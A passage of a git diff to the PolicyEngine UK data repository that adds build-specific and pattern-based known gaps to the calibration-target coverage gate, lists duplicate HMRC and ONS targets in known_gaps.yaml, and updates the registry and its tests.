         detail = f" ({row.detail})" if row.detail else ""
         problems.append(f"{row.name}: {row.status}{detail}")
-    present = {row.name: row.status for row in statuses}
     stale = []
     for gap in gaps:
-        for name in sorted(gap.targets - matched):
-            now = present.get(name, "not offered by the registry")
+        for name in sorted(gap.targets):
+            if (name, gap.status) in matched:
+                continue
+            now = ", ".join(present.get(name, ["not offered by the registry"]))
             stale.append(f"{name}: listed as {gap.status}, now {now}")
+        for pattern in gap.patterns:
+            if not any(fnmatchcase(name, pattern) for name in present):
+                stale.append(f"{pattern}: listed as {gap.status}, matches no target")
     return problems, stale
 
 
 def check_coverage(
-    statuses: Sequence[TargetStatus], gaps: Optional[Iterable[KnownGap]] = None
+    statuses: Sequence[TargetStatus],
+    gaps: Optional[Iterable[KnownGap]] = None,
+    build: Optional[str] = None,
 ) -> list:
     """Raise unless every target is in the matrix or a known gap; return stale gaps."""
+    build = build or current_build()
     problems, stale = coverage_problems(
-        statuses, load_known_gaps() if gaps is None else gaps
+        statuses, load_known_gaps() if gaps is None else gaps, build
     )
     counts = Counter(row.status for row in statuses)
     logger.info(
-        "Calibration targets: %s",
+        "Calibration targets (%s build): %s",
+        build,
         ", ".join(f"{counts[s]} {s}" for s in STATUSES if counts[s]),
     )
     for line in stale:
         logger.warning("Stale known calibration-target gap, remove it: %s", line)
+    write_step_summary(build, stale, problems)
     if problems:
         raise TargetCoverageError(
             f"{len(problems)} calibration targets are missing or cannot be fitted, "
@@ -151,6 +210,27 @@ def check_coverage(
     return stale
 
 
+def write_step_summary(build: str, stale: Sequence[str], problems: Sequence[str]):
+    """Add stale gaps and problems to the GitHub Actions job summary, once each.
+
+    A long build log buries a warning; the job summary shows it on the run's
+    page. Lines already in the summary (the local-authority calibration
+    repeats the constituency check) are not written again.
+    """
+    path = os.environ.get("GITHUB_STEP_SUMMARY")
+    lines = [f"- Stale, remove from targets/known_gaps.yaml: `{s}`" for s in stale]
+    lines += [f"- Not in the matrix and not a known gap: `{p}`" for p in problems]
+    if not path or not lines:
+        return
+    summary = Path(path)
+    written = summary.read_text() if summary.exists() else ""
+    lines = [line for line in lines if line not in written]
+    if lines:
+        with summary.open("a") as f:
+            f.write(f"\n### Calibration target coverage ({build} build)\n\n")
+            f.write("\n".join(lines) + "\n")
+
+
 def main(argv=None) -> int:
     argv = sys.argv[1:] if argv is None else argv
     if len(argv) not in (2, 3):
@@ -167,6 +247,7 @@ def main(argv=None) -> int:
     report = {
         "dataset": Path(argv[0]).name,
         "year": int(argv[1]),
+        "build": current_build(),
         "by_status": Counter(row.status for row in statuses),
         "problems": problems,
         "stale_known_gaps": stale,
@@ -176,7 +257,10 @@ def main(argv=None) -> int:
         Path(argv[2]).write_text(json.dumps(report, indent=1))
     print(
         json.dumps(
-            {k: report[k] for k in ("by_status", "problems", "stale_known_gaps")},
+            {
+                k: report[k]
+                for k in ("build", "by_status", "problems", "stale_known_gaps")
+            },
             indent=1,
         )
     )
diff --git a/policyengine_uk_data/targets/known_gaps.yaml b/policyengine_uk_data/targets/known_gaps.yaml
index de36f53a..7b28512a 100644
--- a/policyengine_uk_data/targets/known_gaps.yaml
+++ b/policyengine_uk_data/targets/known_gaps.yaml
@@ -1,19 +1,23 @@
 # Calibration targets allowed to stay out of the national loss matrix, or to
 # enter it with no signal. targets/coverage.py fails the build on any other
-# target that is dropped (no value for the year, no column, an error), has a
-# non-finite value or column, or has a column no household contributes to.
+# target that is dropped (a name already taken, no value for the year, no
+# column, an error), has a non-finite value or column, or has a column no
+# household contributes to.
 #
 # Each entry names the exact targets, the one status they may have, why and
 # the issue that tracks removing them. Errors and non-finite values are never
-# allowed. An entry that no longer matches is reported as stale: remove it.
+# allowed. An entry applies to every build unless `builds` limits it to
+# testing builds (pull requests, TESTING=1) or release builds. A
+# testing-only entry may name `patterns` instead, fnmatch globs over target
+# names, for targets whose status varies from one testing build to the next.
+# A named target that no longer has its status, or a pattern that matches
+# no target at all, is reported as stale: remove it.
 #
 # Measured on uk-data 1.58.1 (enhanced_frs_2024_25.h5, sha256 056e80fd) with
-# policyengine-uk 2.122.2 at the calibration year 2025: of 660 targets, 645
-# enter the matrix, 15 have no value for 2025 and 19 of those entering have
-# no signal. Pull request (TESTING) builds hold fewer records: across the
-# final calibration logs of 12 recent ones (targets with a national estimate
-# of exactly zero), 22 targets have no signal in at least one, the 19 above
-# and 3 single-claimant UC payment bands.
+# policyengine-uk 2.122.2 at the calibration year 2025, as a release build:
+# the registry offers 660 names. 645 enter the matrix, 15 have no value for
+# 2025 and 19 of those entering have no signal. 159 more targets reuse a
+# name already taken and are dropped as duplicates.
 schema_version: 1
 gaps:
   - status: no_value_for_year
@@ -37,6 +41,182 @@ gaps:
       - dwp/uc/two_child_limit/disabled_child_element_children
       - dwp/uc/two_child_limit/disabled_child_element_households
       - dwp/uc/two_child_limit/households_affected
+  - status: duplicate
+    reason: >-
+      hmrc_spi emits each income-band target twice: the 2023-24 outturn, with
+      a value for 2024 only, then the incomes_projection.csv copy for 2025 to
+      2029. The matrix keeps the first, so calibration at 2025 carries the
+      2024 outturn forward and never sees the projection. #557 emits each band
+      once.
+    issue: https://github.com/PolicyEngine/policyengine-uk-data/pull/557
+    targets:
+      - hmrc/dividend_income_count_income_band_100_000_to_150_000
+      - hmrc/dividend_income_count_income_band_12_570_to_15_000
+      - hmrc/dividend_income_count_income_band_150_000_to_200_000
+      - hmrc/dividend_income_count_income_band_15_000_to_20_000
+      - hmrc/dividend_income_count_income_band_1_000_000_to_inf
+      - hmrc/dividend_income_count_income_band_200_000_to_300_000
+      - hmrc/dividend_income_count_income_band_20_000_to_30_000
+      - hmrc/dividend_income_count_income_band_300_000_to_500_000
+      - hmrc/dividend_income_count_income_band_30_000_to_40_000
+      - hmrc/dividend_income_count_income_band_40_000_to_50_000
+      - hmrc/dividend_income_count_income_band_500_000_to_1_000_000
+      - hmrc/dividend_income_count_income_band_50_000_to_70_000
+      - hmrc/dividend_income_count_income_band_70_000_to_100_000
+      - hmrc/dividend_income_income_band_100_000_to_150_000
+      - hmrc/dividend_income_income_band_12_570_to_15_000
+      - hmrc/dividend_income_income_band_150_000_to_200_000
+      - hmrc/dividend_income_income_band_15_000_to_20_000
+      - hmrc/dividend_income_income_band_1_000_000_to_inf
+      - hmrc/dividend_income_income_band_200_000_to_300_000
+      - hmrc/dividend_income_income_band_20_000_to_30_000
+      - hmrc/dividend_income_income_band_300_000_to_500_000
+      - hmrc/dividend_income_income_band_30_000_to_40_000
+      - hmrc/dividend_income_income_band_40_000_to_50_000
+      - hmrc/dividend_income_income_band_500_000_to_1_000_000
+      - hmrc/dividend_income_income_band_50_000_to_70_000
+      - hmrc/dividend_income_income_band_70_000_to_100_000
+      - hmrc/employment_income_count_income_band_100_000_to_150_000
+      - hmrc/employment_income_count_income_band_12_570_to_15_000
+      - hmrc/employment_income_count_income_band_150_000_to_200_000
+      - hmrc/employment_income_count_income_band_15_000_to_20_000
+      - hmrc/employment_income_count_income_band_1_000_000_to_inf
+      - hmrc/employment_income_count_income_band_200_000_to_300_000
+      - hmrc/employment_income_count_income_band_20_000_to_30_000
+      - hmrc/employment_income_count_income_band_300_000_to_500_000
+      - hmrc/employment_income_count_income_band_30_000_to_40_000
+      - hmrc/employment_income_count_income_band_40_000_to_50_000
+      - hmrc/employment_income_count_income_band_500_000_to_1_000_000
+      - hmrc/employment_income_count_income_band_50_000_to_70_000
+      - hmrc/employment_income_count_income_band_70_000_to_100_000
+      - hmrc/employment_income_income_band_100_000_to_150_000
+      - hmrc/employment_income_income_band_12_570_to_15_000
+      - hmrc/employment_income_income_band_150_000_to_200_000
+      - hmrc/employment_income_income_band_15_000_to_20_000
+      - hmrc/employment_income_income_band_1_000_000_to_inf
+      - hmrc/employment_income_income_band_200_000_to_300_000
+      - hmrc/employment_income_income_band_20_000_to_30_000
+      - hmrc/employment_income_income_band_300_000_to_500_000
+      - hmrc/employment_income_income_band_30_000_to_40_000
+      - hmrc/employment_income_income_band_40_000_to_50_000
+      - hmrc/employment_income_income_band_500_000_to_1_000_000
+      - hmrc/employment_income_income_band_50_000_to_70_000
+      - hmrc/employment_income_income_band_70_000_to_100_000
+      - hmrc/private_pension_income_count_income_band_100_000_to_150_000
+      - hmrc/private_pension_income_count_income_band_12_570_to_15_000
+      - hmrc/private_pension_income_count_income_band_150_000_to_200_000
+      - hmrc/private_pension_income_count_income_band_15_000_to_20_000
+      - hmrc/private_pension_income_count_income_band_1_000_000_to_inf
+      - hmrc/private_pension_income_count_income_band_200_000_to_300_000
+      - hmrc/private_pension_income_count_income_band_20_000_to_30_000
+      - hmrc/private_pension_income_count_income_band_300_000_to_500_000
+      - hmrc/private_pension_income_count_income_band_30_000_to_40_000
+      - hmrc/private_pension_income_count_income_band_40_000_to_50_000
+      - hmrc/private_pension_income_count_income_band_500_000_to_1_000_000
+      - hmrc/private_pension_income_count_income_band_50_000_to_70_000
+      - hmrc/private_pension_income_count_income_band_70_000_to_100_000
+      - hmrc/private_pension_income_income_band_100_000_to_150_000
+      - hmrc/private_pension_income_income_band_12_570_to_15_000
+      - hmrc/private_pension_income_income_band_150_000_to_200_000
+      - hmrc/private_pension_income_income_band_15_000_to_20_000
+      - hmrc/private_pension_income_income_band_1_000_000_to_inf
+      - hmrc/private_pension_income_income_band_200_000_to_300_000
+      - hmrc/private_pension_income_income_band_20_000_to_30_000
+      - hmrc/private_pension_income_income_band_300_000_to_500_000
+      - hmrc/private_pension_income_income_band_30_000_to_40_000
+      - hmrc/private_pension_income_income_band_40_000_to_50_000
+      - hmrc/private_pension_income_income_band_500_000_to_1_000_000
+      - hmrc/private_pension_income_income_band_50_000_to_70_000
+      - hmrc/private_pension_income_income_band_70_000_to_100_000
+      - hmrc/property_income_count_income_band_100_000_to_150_000
+      - hmrc/property_income_count_income_band_12_570_to_15_000
+      - hmrc/property_income_count_income_band_150_000_to_200_000
+      - hmrc/property_income_count_income_band_15_000_to_20_000
+      - hmrc/property_income_count_income_band_1_000_000_to_inf
+      - hmrc/property_income_count_income_band_200_000_to_300_000
+      - hmrc/property_income_count_income_band_20_000_to_30_000
+      - hmrc/property_income_count_income_band_300_000_to_500_000
+      - hmrc/property_income_count_income_band_30_000_to_40_000
+      - hmrc/property_income_count_income_band_40_000_to_50_000
+      - hmrc/property_income_count_income_band_500_000_to_1_000_000
+      - hmrc/property_income_count_income_band_50_000_to_70_000
+      - hmrc/property_income_count_income_band_70_000_to_100_000
+      - hmrc/property_income_income_band_100_000_to_150_000
+      - hmrc/property_income_income_band_12_570_to_15_000
+      - hmrc/property_income_income_band_150_000_to_200_000
+      - hmrc/property_income_income_band_15_000_to_20_000
+      - hmrc/property_income_income_band_1_000_000_to_inf
+      - hmrc/property_income_income_band_200_000_to_300_000
+      - hmrc/property_income_income_band_20_000_to_30_000
+      - hmrc/property_income_income_band_300_000_to_500_000
+      - hmrc/property_income_income_band_30_000_to_40_000
+      - hmrc/property_income_income_band_40_000_to_50_000
+      - hmrc/property_income_income_band_500_000_to_1_000_000
+      - hmrc/property_income_income_band_50_000_to_70_000
+      - hmrc/property_income_income_band_70_000_to_100_000
+      - hmrc/self_employment_income_count_income_band_100_000_to_150_000
+      - hmrc/self_employment_income_count_income_band_12_570_to_15_000
+      - hmrc/self_employment_income_count_income_band_150_000_to_200_000
+      - hmrc/self_employment_income_count_income_band_15_000_to_20_000
+      - hmrc/self_employment_income_count_income_band_1_000_000_to_inf
+      - hmrc/self_employment_income_count_income_band_200_000_to_300_000
+      - hmrc/self_employment_income_count_income_band_20_000_to_30_000
+      - hmrc/self_employment_income_count_income_band_300_000_to_500_000
+      - hmrc/self_employment_income_count_income_band_30_000_to_40_000
+      - hmrc/self_employment_income_count_income_band_40_000_to_50_000
+      - hmrc/self_employment_income_count_income_band_500_000_to_1_000_000
+      - hmrc/self_employment_income_count_income_band_50_000_to_70_000
+      - hmrc/self_employment_income_count_income_band_70_000_to_100_000
+      - hmrc/self_employment_income_income_band_100_000_to_150_000
+      - hmrc/self_employment_income_income_band_12_570_to_15_000
+      - hmrc/self_employment_income_income_band_150_000_to_200_000
+      - hmrc/self_employment_income_income_band_15_000_to_20_000
+      - hmrc/self_employment_income_income_band_1_000_000_to_inf
+      - hmrc/self_employment_income_income_band_200_000_to_300_000
+      - hmrc/self_employment_income_income_band_20_000_to_30_000
+      - hmrc/self_employment_income_income_band_300_000_to_500_000
+      - hmrc/self_employment_income_income_band_30_000_to_40_000
+      - hmrc/self_employment_income_income_band_40_000_to_50_000
+      - hmrc/self_employment_income_income_band_500_000_to_1_000_000
+      - hmrc/self_employment_income_income_band_50_000_to_70_000
+      - hmrc/self_employment_income_income_band_70_000_to_100_000
+      - hmrc/state_pension_count_income_band_100_000_to_150_000
+      - hmrc/state_pension_count_income_band_12_570_to_15_000
+      - hmrc/state_pension_count_income_band_150_000_to_200_000
+      - hmrc/state_pension_count_income_band_15_000_to_20_000
+      - hmrc/state_pension_count_income_band_1_000_000_to_inf
+      - hmrc/state_pension_count_income_band_200_000_to_300_000
+      - hmrc/state_pension_count_income_band_20_000_to_30_000
+      - hmrc/state_pension_count_income_band_300_000_to_500_000
+      - hmrc/state_pension_count_income_band_30_000_to_40_000
+      - hmrc/state_pension_count_income_band_40_000_to_50_000
+      - hmrc/state_pension_count_income_band_500_000_to_1_000_000
+      - hmrc/state_pension_count_income_band_50_000_to_70_000
+      - hmrc/state_pension_count_income_band_70_000_to_100_000
+      - hmrc/state_pension_income_band_100_000_to_150_000
+      - hmrc/state_pension_income_band_12_570_to_15_000
+      - hmrc/state_pension_income_band_150_000_to_200_000
+      - hmrc/state_pension_income_band_15_000_to_20_000
+      - hmrc/state_pension_income_band_1_000_000_to_inf
+      - hmrc/state_pension_income_band_200_000_to_300_000
+      - hmrc/state_pension_income_band_20_000_to_30_000
+      - hmrc/state_pension_income_band_300_000_to_500_000
+      - hmrc/state_pension_income_band_30_000_to_40_000
+      - hmrc/state_pension_income_band_40_000_to_50_000
+      - hmrc/state_pension_income_band_500_000_to_1_000_000
+      - hmrc/state_pension_income_band_50_000_to_70_000
+      - hmrc/state_pension_income_band_70_000_to_100_000
+  - status: duplicate
+    reason: >-
+      ons_demographics emits these names twice. The matrix keeps the national
+      ons/uk_population and the region Scottish targets. It drops a region
+      ons/uk_population read from demographics.csv 1,000 times too small, and
+      NRS country copies of the Scottish targets with identical values.
+    issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/605
+    targets:
+      - ons/scotland_babies_under_1
+      - ons/scotland_children_under_16
+      - ons/uk_population
   - status: zero_signal
     reason: >-
       Fewer than 10 records have total income of £1m or more, and they have self-employment income only, so the band's targets for every other income type have no signal.
@@ -54,8 +234,12 @@ gaps:
       - hmrc/state_pension_income_band_1_000_000_to_inf
   - status: zero_signal
     reason: >-
-      No record is aged 85 or over; the oldest records fall in the 80-84 band.
-    issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/593
+      Ages come from the FRS AGE80 field, which is top-coded at 80
+      (datasets/frs.py), and the SPI-donor rows are copies of FRS households,
+      so no record can be 85 or over in any build. More records will not fix
+      this: the targets must match the top code, which #604 does with
+      80-and-over targets.
+    issue: https://github.com/PolicyEngine/policyengine-uk-data/pull/604
     targets:
       - ons/female_85_90
       - ons/male_85_90
@@ -69,7 +253,9 @@ gaps:
       - voa/council_tax/YORKSHIRE/H
   - status: zero_signal
     reason: >-
-      No record repays an English postgraduate loan.
+      impute_student_loan_plan (datasets/imputations/student_loans.py) assigns
+      only NONE, PLAN_1, PLAN_2 and PLAN_5, never POSTGRADUATE, so no record
+      has a postgraduate loan in any build.
     issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/593
     targets:
       - slc/student_loan_repayment/england/postgraduate
@@ -83,12 +269,20 @@ gaps:
       - dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_30_000_to_inf
   - status: zero_signal
     reason: >-
-      In pull request (TESTING) builds no single claimant's UC payments
-      fall in these bands: in all 12 recent builds for 27,600 to 28,800,
-      and in 11 of 12 for the other two. The released 1.58.1 build has
-      signal in all three.
-    issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/593
-    targets:
-      - dwp/uc_payment_dist/SINGLE_annual_payment_24_000_to_25_200
-      - dwp/uc_payment_dist/SINGLE_annual_payment_25_200_to_26_400
-      - dwp/uc_payment_dist/SINGLE_annual_payment_27_600_to_28_800
+      In pull request (TESTING) builds the UC payment bands with no signal
+      vary from one build to the next, and builds of the same code take one of
+      two pre-calibration states (#598). Those builds hold one output-area
+      clone of each household (PE_UK_DATA_OA_CLONES=1, as release builds do).
+      Of 21 pull request builds from 8 to 15 October 2026, the national
+      estimate in the final calibration log was exactly zero for
+      COUPLE_NO_CHILDREN 27,600 to 28,800 in 20, and 28,800 to 30,000 and
+      30,000 and over in all 21; SINGLE 24,000 to 25,200 and 25,200 to 26,400
+      in 20, and 27,600 to 28,800 in all 21; and COUPLE_WITH_CHILDREN 27,600
+      to 28,800 in 3. The gate failed on the three SINGLE bands in run
+      38726993359 and on the COUPLE_WITH_CHILDREN band in run 38732018053. In
+      release builds only the three COUPLE_NO_CHILDREN bands above may lack
+      signal.
+    issue: https://github.com/PolicyEngine/policyengine-uk-data/issues/598
+    builds: [testing]
+    patterns:
+      - "dwp/uc_payment_dist/*"
diff --git a/policyengine_uk_data/targets/registry.py b/policyengine_uk_data/targets/registry.py
index b4c97108..40941ae3 100644
--- a/policyengine_uk_data/targets/registry.py
+++ b/policyengine_uk_data/targets/registry.py
@@ -31,6 +31,11 @@ def discover_source_modules() -> list:
     return modules
 
 
+def emitted_targets() -> list[Target]:
+    """Every target the source modules emit, in order, duplicate names included."""
+    return [target for mod in discover_source_modules() for target in mod.get_targets()]
+
+
 def get_all_targets(
     year: int | None = None,
     geographic_level: GeographicLevel | None = None,
@@ -43,23 +48,20 @@ def get_all_targets(
         geographic_level: if provided, filter to this geographic level.
 
     Returns:
-        De-duplicated list of Target objects.
+        De-duplicated list of Target objects: of the targets that pass the
+        filters, the first of each name. ``emitted_targets`` keeps them all.
     """
     all_targets: list[Target] = []
     seen_names: set[str] = set()
 
-    for mod in discover_source_modules():
-        for target in mod.get_targets():
-            if target.name in seen_names:
-                continue
-            if year is not None and year not in target.values:
-                continue
-            if (
-                geographic_level is not None
-                and target.geographic_level != geographic_level
-            ):
-                continue
-            seen_names.add(target.name)
-            all_targets.append(target)
+    for target in emitted_targets():
+        if target.name in seen_names:
+            continue
+        if year is not None and year not in target.values:
+            continue
+        if geographic_level is not None and target.geographic_level != geographic_level:
+            continue
+        seen_names.add(target.name)
+        all_targets.append(target)
 
     return all_targets
diff --git a/policyengine_uk_data/tests/conftest.py b/policyengine_uk_data/tests/conftest.py
index 9de52820..8c579975 100644
--- a/policyengine_uk_data/tests/conftest.py
+++ b/policyengine_uk_data/tests/conftest.py
@@ -32,3 +32,9 @@ def baseline(enhanced_frs: UKSingleYearDataset):
     from policyengine_uk import Microsimulation
 
     return Microsimulation(dataset=enhanced_frs)
+
+
+@pytest.fixture(autouse=True)
+def no_job_summary(monkeypatch):
+    """Keep tests out of the GitHub Actions job summary the build writes to."""
+    monkeypatch.delenv("GITHUB_STEP_SUMMARY", raising=False)
diff --git a/policyengine_uk_data/tests/test_obr_universal_credit_target.py b/policyengine_uk_data/tests/test_obr_universal_credit_target.py
index 8fcdb51e..6ce35249 100644
--- a/policyengine_uk_data/tests/test_obr_universal_credit_target.py
+++ b/policyengine_uk_data/tests/test_obr_universal_credit_target.py
@@ -23,7 +23,7 @@
     _compute_column,
     restrict_to_countries,
 )
-from policyengine_uk_data.targets.schema import GREAT_BRITAIN, GeographicLevel
+from policyengine_uk_data.targets.schema import GREAT_BRITAIN
 from policyengine_uk_data.targets.sources import obr
 
 COUNTRIES = ("ENGLAND", "SCOTLAND", "WALES", "NORTHERN_IRELAND")
@@ -180,13 +180,7 @@ def map_result(self, values, source, target_entity):
             )
 
     monkeypatch.setattr(policyengine_uk, "Microsimulation", FakeMicrosimulation)
-    monkeypatch.setattr(
-        build_loss_matrix,
-        "get_all_targets",
-        lambda geographic_level=None: (
-            [target] if geographic_level == GeographicLevel.NATIONAL else []
-        ),
-    )
+    monkeypatch.setattr(build_loss_matrix, "emitted_targets", lambda: [target])
 
     matrix, values = build_loss_matrix.create_target_matrix(
         SimpleNamespace(time_period="2025"), time_period="2025"
diff --git a/policyengine_uk_data/tests/test_target_coverage.py b/policyengine_uk_data/tests/test_target_coverage.py
index c3de4205..0be18e3b 100644
--- a/policyengine_uk_data/tests/test_target_coverage.py
+++ b/policyengine_uk_data/tests/test_target_coverage.py
@@ -1,12 +1,15 @@
 """Required coverage of the national calibration targets (targets/coverage.py).
 
 create_target_matrix used to skip a target with a warning, or with nothing at
-all when its year did not resolve (#456), and to accept a column no household
-contributes to (#593). These tests pin the gate that replaces that: every
-offered target is in the matrix with signal, or listed in known_gaps.yaml with
-the status it may have.
+all when its year did not resolve (#456) or its name was already taken, and to
+accept a column no household contributes to (#593). These tests pin the gate
+that replaces that: every offered target is in the matrix with signal, or
+listed in known_gaps.yaml with the status it may have, in the builds it may
+have it.
 """
 
+from collections import Counter
+from fnmatch import fnmatchcase
 from types import SimpleNamespace
 
 import numpy as np
@@ -15,9 +18,11 @@
 from hypothesis import given, settings
 from hypothesis import strategies as st
 
-from policyengine_uk_data.targets import build_loss_matrix
+from policyengine_uk_data.targets import build_loss_matrix, registry
 from policyengine_uk_data.targets.coverage import (
+    BUILDS,
     EXCUSABLE,
+    NEVER_EXCUSED,
     STATUSES,
     KnownGap,
     TargetCoverageError,
@@ -25,11 +30,14 @@
     check_coverage,
     column_status,
     coverage_problems,
+    current_build,
     load_known_gaps,
     parse_known_gaps,
 )
 from policyengine_uk_data.targets.schema import GeographicLevel, Target, Unit
 
+UC_BANDS = "dwp/uc_payment_dist/*"
+
 
 def test_column_status():
     assert column_status(5.0, [0, 1, 0]) == "in_matrix"
@@ -42,71 +50,84 @@ def test_column_status():
 
 def test_the_shipped_known_gaps_load_and_cite_issues():
     gaps = load_known_gaps()
-    assert gaps
     for gap in gaps:
         assert gap.status in EXCUSABLE
         assert gap.issue.startswith("https://github.com/PolicyEngine/")
         assert gap.reason
-    names = [n for gap in gaps for n in gap.targets]
-    assert len(names) == len(set(names))
-    # The 1.58.1 inventory: 15 two-child-limit targets with no 2025 value, 19
-    # targets without signal, and 3 more without signal in TESTING builds.
-    assert sum(len(g.targets) for g in gaps if g.status == "no_value_for_year") == 15
-    assert sum(len(g.targets) for g in gaps if g.status == "zero_signal") == 22
+    listed = [(n, gap.status) for gap in gaps for n in gap.targets]
+    assert len(listed) == len(set(listed))
+
+    def named(status):
+        return sum(len(g.targets) for g in gaps if g.status == status)
+
+    # The 1.58.1 inventory at 2025, in every build: 15 two-child-limit targets
+    # with no 2025 value, 19 without signal, and 156 SPI and 3 ONS targets
+    # dropped under a name already taken.
+    assert [named(s) for s in ("no_value_for_year", "zero_signal", "duplicate")] == [
+        15,
+        19,
+        159,
+    ]
+    assert all(g.builds == set(BUILDS) for g in gaps if g.targets)
+    # Only in testing builds, any UC payment band may lack signal (#598).
+    [uc] = [g for g in gaps if g.patterns]
+    assert (uc.status, uc.patterns, uc.builds) == (
+        "zero_signal",
+        (UC_BANDS,),
+        {"testing"},
+    )
+
+
+def test_the_shipped_gaps_excuse_any_uc_band_without_signal_in_testing_builds_only():
+    gaps = load_known_gaps()
+    flickers = TargetStatus(
+        "dwp/uc_payment_dist/COUPLE_WITH_CHILDREN_annual_payment_27_600_to_28_800",
+        "zero_signal",
+    )
+    listed = TargetStatus(
+        "dwp/uc_payment_dist/COUPLE_NO_CHILDREN_annual_payment_30_000_to_inf",
+        "zero_signal",
+    )
+    broken = TargetStatus(flickers.name, "error", "ValueError: x")
+    assert coverage_problems([flickers, listed], gaps, "testing")[0] == []
+    assert coverage_problems([flickers, listed], gaps, "release")[0] == [
+        f"{flickers.name}: zero_signal"
+    ]
+    assert coverage_problems([broken], gaps, "testing")[0] == [
+        f"{flickers.name}: error (ValueError: x)"
+    ]
+
+
+def _entry(**kwargs):
+    return {
+        "status": "zero_signal",
+        "reason": "x",
+        "issue": "https://github.com/a",
+        "targets": ["t"],
+        **kwargs,
+    }
 
 
 @pytest.mark.parametrize(
     "entry, match",
     [
+        (_entry(status="error"), "status"),
+        (_entry(status="non_finite"), "status"),
+        (_entry(reason=""), "reason"),
+        (_entry(issue="#456"), "issue"),
+        (_entry(targets=[]), "no targets"),
+        (_entry(targets=["t", "t"]), "twice"),
+        (_entry(builds=["nightly"]), "builds"),
+        (_entry(builds=[]), "builds"),
+        (_entry(builds="testing"), "builds"),
+        # A pattern excuses testing builds only, and must be a pattern.
+        (_entry(targets=[], patterns=["a/*"]), "testing builds"),
+        (_entry(targets=[], patterns=["a/*"], builds=["release"]), "testing builds"),
+        (_entry(targets=[], patterns=["a/b"], builds=["testing"]), "wildcard"),
         (
-            {
-                "status": "error",
-                "reason": "x",
-                "issue": "https://github.com/a",
-                "targets": ["t"],
-            },
-            "status",
-        ),
-        (
-            {
-                "status": "non_finite",
-                "reason": "x",
-                "issue": "https://github.com/a",
-                "targets": ["t"],
-            },
+            _entry(status="error", targets=[], patterns=["a/*"], builds=["testing"]),
             "status",
         ),
-        (
-            {
-                "status": "zero_signal",
-                "reason": "",
-                "issue": "https://github.com/a",
-                "targets": ["t"],
-            },
-            "reason",
-        ),
-        (
-            {"status": "zero_signal", "reason": "x", "issue": "#456", "targets": ["t"]},
-            "issue",
-        ),
-        (
-            {
-                "status": "zero_signal",
-                "reason": "x",
-                "issue": "https://github.com/a",
-                "targets": [],
-            },
-            "no targets",
-        ),
-        (
-            {
-                "status": "zero_signal",
-                "reason": "x",
-                "issue": "https://github.com/a",
-                "targets": ["t", "t"],
-            },
-            "twice",
-        ),
     ],
 )
 def test_malformed_known_gaps_are_refused(entry, match):
@@ -114,8 +135,15 @@ def test_malformed_known_gaps_are_refused(entry, match):
         parse_known_gaps({"schema_version": 1, "gaps": [entry]})
 
 
-def _gap(status, *names):
-    return KnownGap(status, frozenset(names), "reason", "https://github.com/x")
+def _gap(status, *names, builds=BUILDS, patterns=()):
+    return KnownGap(
+        status,
+        frozenset(names),
+        "reason",
+        "https://github.com/x",
+        frozenset(builds),
+        tuple(patterns),
+    )
 
 
 def test_a_gap_excuses_only_its_own_status_and_stale_gaps_are_reported():
@@ -136,78 +164,168 @@ def test_a_gap_excuses_only_its_own_status_and_stale_gaps_are_reported():
     ]
 
 
-statuses_strategy = st.dictionaries(
-    st.text("abcdef", min_size=1, max_size=3), st.sampled_from(STATUSES), max_size=12
-)
+def test_a_gap_for_one_kind_of_build_excuses_nothing_in_the_other(monkeypatch):
+    rows = [TargetStatus("dwp/uc_payment_dist/A", "zero_signal")]
+    for gap in (
+        _gap("zero_signal", rows[0].name, builds=["testing"]),
+        _gap("zero_signal", builds=["testing"], patterns=[UC_BANDS]),
+    ):
+        assert check_coverage(rows, [gap], build="testing") == []
+        with pytest.raises(TargetCoverageError, match="A: zero_signal"):
+            check_coverage(rows, [gap], build="release")
+    release_only = _gap("no_column", "b", builds=["release"])
+    rows = [TargetStatus("b", "no_column")]
+    assert check_coverage(rows, [release_only], build="release") == []
+    with pytest.raises(TargetCoverageError, match="b: no_column"):
+        check_coverage(rows, [release_only], build="testing")
+    # Nor is it stale there: it does not apply.
+    assert coverage_problems([], [release_only], "testing") == ([], [])
+    # The build kind is read from TESTING, as create_datasets reads it.
+    monkeypatch.setenv("TESTING", "1")
+    assert current_build() == "testing"
+    monkeypatch.setenv("TESTING", "0")
+    assert current_build() == "release"
+    monkeypatch.delenv("TESTING")
+    assert current_build() == "release"
+    with pytest.raises(TargetCoverageError, match="b: no_column"):
+        check_coverage(rows, [_gap("no_column", "b", builds=["testing"])])
+
+
+def test_a_pattern_excuses_only_its_status_and_is_stale_only_if_it_matches_nothing():
+    [gap] = parse_known_gaps(
+        {
+            "schema_version": 1,
+            "gaps": [_entry(targets=[], patterns=[UC_BANDS], builds=["testing"])],
+        }
+    )
+    rows = [
+        TargetStatus("dwp/uc_payment_dist/A", "zero_signal"),
+        TargetStatus("dwp/uc_payment_dist/B", "in_matrix"),
+        TargetStatus("dwp/uc_payment_dist/C", "error", "KeyError: x"),
+        TargetStatus("dwp/uc_payment_dist/D", "non_finite"),
+        TargetStatus("dwp/uc_payment_dist/E", "no_column"),
+        TargetStatus("dwp/uc/F", "zero_signal"),
+    ]
+    assert coverage_problems(rows, [gap], "testing") == (
+        [
+            "dwp/uc_payment_dist/C: error (KeyError: x)",
+            "dwp/uc_payment_dist/D: non_finite",
+            "dwp/uc_payment_dist/E: no_column",
+            "dwp/uc/F: zero_signal",
+        ],
+        [],
+    )
+    # Excusing nothing in one build is not stale; matching no target is.
+    assert coverage_problems(rows[1:2], [gap], "testing") == ([], [])
+    assert coverage_problems(
+        [TargetStatus("obr/x", "in_matrix")], [gap], "testing"
+    ) == (
+        [],
+        [f"{UC_BANDS}: listed as zero_signal, matches no target"],
+    )
+
+
+NAMES = ["a/x", "a/y", "b/x", "c"]
+PATTERNS = ["a/*", "*/x", "z*"]
 
 
 @settings(max_examples=300, deadline=None)
-@given(statuses=statuses_strategy, data=st.data())
-def test_problems_are_exactly_the_unexcused_targets_out_of_the_matrix(statuses, data):
-    names = sorted(statuses)
-    excused = data.draw(
-        st.dictionaries(
-            st.sampled_from(names + ["zz"]) if names else st.just("zz"),
-            st.sampled_from(EXCUSABLE),
-        )
+@given(
+    rows=st.lists(st.tuples(st.sampled_from(NAMES), st.sampled_from(STATUSES))),
+    build=st.sampled_from(BUILDS),
+    data=st.data(),
+)
+def test_problems_are_exactly_the_unexcused_targets_out_of_the_matrix(
